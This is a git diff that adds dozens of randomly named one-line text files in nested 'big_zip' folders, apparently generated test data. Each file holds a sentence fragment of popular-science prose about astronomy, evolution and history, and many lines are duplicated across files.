diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_ffnpfqpjdjflxpjwqgag.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_ffnpfqpjdjflxpjwqgag.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_ffnpfqpjdjflxpjwqgag.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_gmffxedlbtzoh.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_gmffxedlbtzoh.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_gmffxedlbtzoh.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_iopmaxbeyeijs.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_iopmaxbeyeijs.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_iopmaxbeyeijs.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_jahukqoiwmfgwqfzmghxmob.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_jahukqoiwmfgwqfzmghxmob.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_jahukqoiwmfgwqfzmghxmob.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_larxmeytfdnaaa.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_larxmeytfdnaaa.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_larxmeytfdnaaa.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_nlfckgpdsovkwzhinxsq.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_nlfckgpdsovkwzhinxsq.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_nlfckgpdsovkwzhinxsq.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_sdikptayjyhwhlbx.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_sdikptayjyhwhlbx.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_sdikptayjyhwhlbx.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_tbfuryjaabnzptrffl.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_tbfuryjaabnzptrffl.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_tbfuryjaabnzptrffl.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_wxckerhrnhaeccikr.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_wxckerhrnhaeccikr.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_wxckerhrnhaeccikr.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_xcmicjyvodcwrmbdvtcpq.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_xcmicjyvodcwrmbdvtcpq.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_xcmicjyvodcwrmbdvtcpq.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_zxcnzwecgehiwsjcgusg.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_zxcnzwecgehiwsjcgusg.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_zxcnzwecgehiwsjcgusg.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/fkllkpslic.txt b/big_zip/big-zip-files/folder_fngjmsugng/fkllkpslic.txt
new file mode 100644
index 0000000..24ac8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/fkllkpslic.txt
@@ -0,0 +1 @@
+hopes and fears placed among the stars.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/hqabqyfcyezzxuaoza.txt b/big_zip/big-zip-files/folder_fngjmsugng/hqabqyfcyezzxuaoza.txt
new file mode 100644
index 0000000..543700e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/hqabqyfcyezzxuaoza.txt
@@ -0,0 +1 @@
+shapes distort severely. The inhabitants of the planets of distant stars witness quite different
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/iwffzwvjauptpypth.txt b/big_zip/big-zip-files/folder_fngjmsugng/iwffzwvjauptpypth.txt
new file mode 100644
index 0000000..5216c1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/iwffzwvjauptpypth.txt
@@ -0,0 +1 @@
+millions of years ago in our reptilian ancestors. Deep inside the skull of every one of us
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/jxrxsrtouedvybenbf.txt b/big_zip/big-zip-files/folder_fngjmsugng/jxrxsrtouedvybenbf.txt
new file mode 100644
index 0000000..89f3d19
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/jxrxsrtouedvybenbf.txt
@@ -0,0 +1 @@
+the spiral arms, edge-on, the central lanes of gas and dust in which the arms are formed);
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/ofhinvdpcpzh.txt b/big_zip/big-zip-files/folder_fngjmsugng/ofhinvdpcpzh.txt
new file mode 100644
index 0000000..51b65e6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/ofhinvdpcpzh.txt
@@ -0,0 +1 @@
+be composed mainly of unresolved stars: ‘long before astronomy reaped any benefit from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/orvcthugleoviirzmj.txt b/big_zip/big-zip-files/folder_fngjmsugng/orvcthugleoviirzmj.txt
new file mode 100644
index 0000000..587a2f1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/orvcthugleoviirzmj.txt
@@ -0,0 +1 @@
+became chemically combined with the soil - almost as if there were photosynthesizing
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/pwhttsgulgcial.txt b/big_zip/big-zip-files/folder_fngjmsugng/pwhttsgulgcial.txt
new file mode 100644
index 0000000..1e9774a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/pwhttsgulgcial.txt
@@ -0,0 +1 @@
+passed. The brain evolved from the inside out. Deep inside is the oldest part, the brainstem,which conducts the basic biological functions, including the rhythms of life - heartbeat and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/qaaqmzcvklkbxnqw.txt b/big_zip/big-zip-files/folder_fngjmsugng/qaaqmzcvklkbxnqw.txt
new file mode 100644
index 0000000..56efc0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/qaaqmzcvklkbxnqw.txt
@@ -0,0 +1 @@
+through the eyes of Voyager, this prediction is confirmed. They do not resemble each other.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/qmgewzdkdykgselzyuhwmp.txt b/big_zip/big-zip-files/folder_fngjmsugng/qmgewzdkdykgselzyuhwmp.txt
new file mode 100644
index 0000000..2ac189f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/qmgewzdkdykgselzyuhwmp.txt
@@ -0,0 +1 @@
+the underdog; or perhaps it improved his striving for success. If Roosevelt’s personality had
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/rezbkcwpydlpq.txt b/big_zip/big-zip-files/folder_fngjmsugng/rezbkcwpydlpq.txt
new file mode 100644
index 0000000..46f7818
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/rezbkcwpydlpq.txt
@@ -0,0 +1 @@
+Suppose that such a spacecraft accelerates at 1 g, approaching more and more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/vajpxbpgeptqkwnvfq.txt b/big_zip/big-zip-files/folder_fngjmsugng/vajpxbpgeptqkwnvfq.txt
new file mode 100644
index 0000000..6dab3e9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/vajpxbpgeptqkwnvfq.txt
@@ -0,0 +1 @@
+named Democritus, who came from the Ionian colony of Abdera in northern Greece.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/vwduwybflbtnybtc.txt b/big_zip/big-zip-files/folder_fngjmsugng/vwduwybflbtnybtc.txt
new file mode 100644
index 0000000..3ed3336
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/vwduwybflbtnybtc.txt
@@ -0,0 +1 @@
+journeyed from there to a land named New Holland, and today called Australia. A few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/xjyipvefgajg.txt b/big_zip/big-zip-files/folder_fngjmsugng/xjyipvefgajg.txt
new file mode 100644
index 0000000..3612967
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/xjyipvefgajg.txt
@@ -0,0 +1 @@
+laws of gravitational physics as govern the motion of an apple falling to Earth, or Voyager
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/zrwsydtqsmau.txt b/big_zip/big-zip-files/folder_fngjmsugng/zrwsydtqsmau.txt
new file mode 100644
index 0000000..abb3cde
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/zrwsydtqsmau.txt
@@ -0,0 +1 @@
+questions destroyed classroom discipline, that he would be better off out of school. So he
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_asaqxooguzcjvzhd.txt b/big_zip/big-zip-files/folder_fogosbxway/file_asaqxooguzcjvzhd.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_asaqxooguzcjvzhd.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_ebvrbctqganxkatf.txt b/big_zip/big-zip-files/folder_fogosbxway/file_ebvrbctqganxkatf.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_ebvrbctqganxkatf.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_guinjeuckrmscpghjbraqshe.txt b/big_zip/big-zip-files/folder_fogosbxway/file_guinjeuckrmscpghjbraqshe.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_guinjeuckrmscpghjbraqshe.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_gzszyzgkakgrlelug.txt b/big_zip/big-zip-files/folder_fogosbxway/file_gzszyzgkakgrlelug.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_gzszyzgkakgrlelug.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_jyyyulfasioizdt.txt b/big_zip/big-zip-files/folder_fogosbxway/file_jyyyulfasioizdt.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_jyyyulfasioizdt.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_ouygnstbdgzhjsgqybfsoml.txt b/big_zip/big-zip-files/folder_fogosbxway/file_ouygnstbdgzhjsgqybfsoml.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_ouygnstbdgzhjsgqybfsoml.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_pztnfebahmwgtwuiqf.txt b/big_zip/big-zip-files/folder_fogosbxway/file_pztnfebahmwgtwuiqf.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_pztnfebahmwgtwuiqf.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_sarznfrbligspibozdi.txt b/big_zip/big-zip-files/folder_fogosbxway/file_sarznfrbligspibozdi.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_sarznfrbligspibozdi.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_skizsqxcoxcgmdztx.txt b/big_zip/big-zip-files/folder_fogosbxway/file_skizsqxcoxcgmdztx.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_skizsqxcoxcgmdztx.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_ukajwsdiqglghdhs.txt b/big_zip/big-zip-files/folder_fogosbxway/file_ukajwsdiqglghdhs.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_ukajwsdiqglghdhs.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_vwtmcexifqw.txt b/big_zip/big-zip-files/folder_fogosbxway/file_vwtmcexifqw.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_vwtmcexifqw.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_yukobridghhsvtmvzijqlwdv.txt b/big_zip/big-zip-files/folder_fogosbxway/file_yukobridghhsvtmvzijqlwdv.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_yukobridghhsvtmvzijqlwdv.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/file_zklmeowznpnvkgx.txt b/big_zip/big-zip-files/folder_fogosbxway/file_zklmeowznpnvkgx.txt
new file mode 100644
index 0000000..749bb72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/file_zklmeowznpnvkgx.txt
@@ -0,0 +1 @@
+millions, and the Indians of billions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_aghgptloork.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_aghgptloork.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_aghgptloork.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_bponqbmocwpxetouysohp.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_bponqbmocwpxetouysohp.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_bponqbmocwpxetouysohp.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_clupczqgxgjoid.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_clupczqgxgjoid.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_clupczqgxgjoid.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_ekarrrmlyjfkxulqwujrkad.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_ekarrrmlyjfkxulqwujrkad.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_ekarrrmlyjfkxulqwujrkad.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_frdwrmmddsilvfoukdjbc.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_frdwrmmddsilvfoukdjbc.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_frdwrmmddsilvfoukdjbc.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_hddxuionnmqbxvg.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_hddxuionnmqbxvg.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_hddxuionnmqbxvg.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_hjtzamjzagrpxuhraohfm.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_hjtzamjzagrpxuhraohfm.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_hjtzamjzagrpxuhraohfm.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_iundlbgznfsgpq.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_iundlbgznfsgpq.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_iundlbgznfsgpq.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_khgtchpbwg.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_khgtchpbwg.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_khgtchpbwg.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_mfovxywxzzatwihhzzfpis.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_mfovxywxzzatwihhzzfpis.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_mfovxywxzzatwihhzzfpis.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_mosmvpcnngltmt.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_mosmvpcnngltmt.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_mosmvpcnngltmt.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_ndlqzupambvypsaiioyh.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_ndlqzupambvypsaiioyh.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_ndlqzupambvypsaiioyh.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_twfdfhruipwobjzcx.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_twfdfhruipwobjzcx.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_twfdfhruipwobjzcx.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_vqkrmozgryzytqmmbiwfix.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_vqkrmozgryzytqmmbiwfix.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_vqkrmozgryzytqmmbiwfix.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_vravcsytzujxyhlvrelt.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_vravcsytzujxyhlvrelt.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_vravcsytzujxyhlvrelt.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_xdqefkomfx.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_xdqefkomfx.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_xdqefkomfx.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_xnutvgdfdmkfkyfiglfajhf.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_xnutvgdfdmkfkyfiglfajhf.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_xnutvgdfdmkfkyfiglfajhf.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_ykxzolxrijskdtwbgdhkij.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_ykxzolxrijskdtwbgdhkij.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_ykxzolxrijskdtwbgdhkij.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_zamyfobdewifjr.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_zamyfobdewifjr.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_zamyfobdewifjr.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_zgexepdlszw.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_zgexepdlszw.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_zgexepdlszw.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_zzxvwloknkwidwekldaez.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_zzxvwloknkwidwekldaez.txt
new file mode 100644
index 0000000..a348230
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/file_zzxvwloknkwidwekldaez.txt
@@ -0,0 +1 @@
+microbes, generating organic matter from atmospheric gases. Positive results in Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_bgmrntcneommwargrelj.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_bgmrntcneommwargrelj.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_bgmrntcneommwargrelj.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_bmojosklazefzib.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_bmojosklazefzib.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_bmojosklazefzib.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_kmnestktfwc.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_kmnestktfwc.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_kmnestktfwc.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_mrokmiooobwofjpwouo.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_mrokmiooobwofjpwouo.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_mrokmiooobwofjpwouo.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_nfvwuonamuzkdgspxczjkfh.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_nfvwuonamuzkdgspxczjkfh.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_nfvwuonamuzkdgspxczjkfh.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_ngzvfouw.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_ngzvfouw.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_ngzvfouw.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
